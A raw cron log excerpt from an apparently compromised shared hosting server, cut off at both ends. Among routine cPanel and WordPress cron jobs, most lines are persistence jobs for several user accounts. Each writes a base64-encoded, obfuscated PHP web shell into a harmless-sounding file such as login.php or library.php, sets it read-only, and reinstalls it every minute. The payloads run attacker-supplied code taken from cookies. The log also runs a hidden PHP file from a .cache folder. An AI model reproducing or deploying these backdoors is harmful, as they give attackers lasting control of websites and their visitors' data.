WE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:01:01 medusa CROND[27022]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 09:01:01 medusa CROND[27028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:01:01 medusa CROND[27029]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:01:01 medusa CROND[27031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:01:01 medusa run-parts(/etc/cron.hourly)[27022]: starting 0anacron
Mar  1 09:01:02 medusa run-parts(/etc/cron.hourly)[27207]: finished 0anacron
Mar  1 09:02:01 medusa CROND[16184]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:02:01 medusa CROND[16185]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:02:01 medusa CROND[16186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:02:01 medusa CROND[16187]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:02:01 medusa CROND[16188]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:02:01 medusa CROND[16190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:02:01 medusa CROND[16191]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:02:01 medusa CROND[16189]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:02:01 medusa CROND[16195]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:02:01 medusa CROND[16198]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:02:01 medusa CROND[16192]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:02:01 medusa CROND[16196]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:02:01 medusa CROND[16214]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:03:01 medusa CROND[6104]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:03:01 medusa CROND[6149]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:03:01 medusa CROND[6186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:03:01 medusa CROND[6188]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:03:01 medusa CROND[6189]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:03:01 medusa CROND[6190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:03:01 medusa CROND[6191]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:03:01 medusa CROND[6192]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:03:01 medusa CROND[6193]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:03:01 medusa CROND[6194]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:03:01 medusa CROND[6198]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKC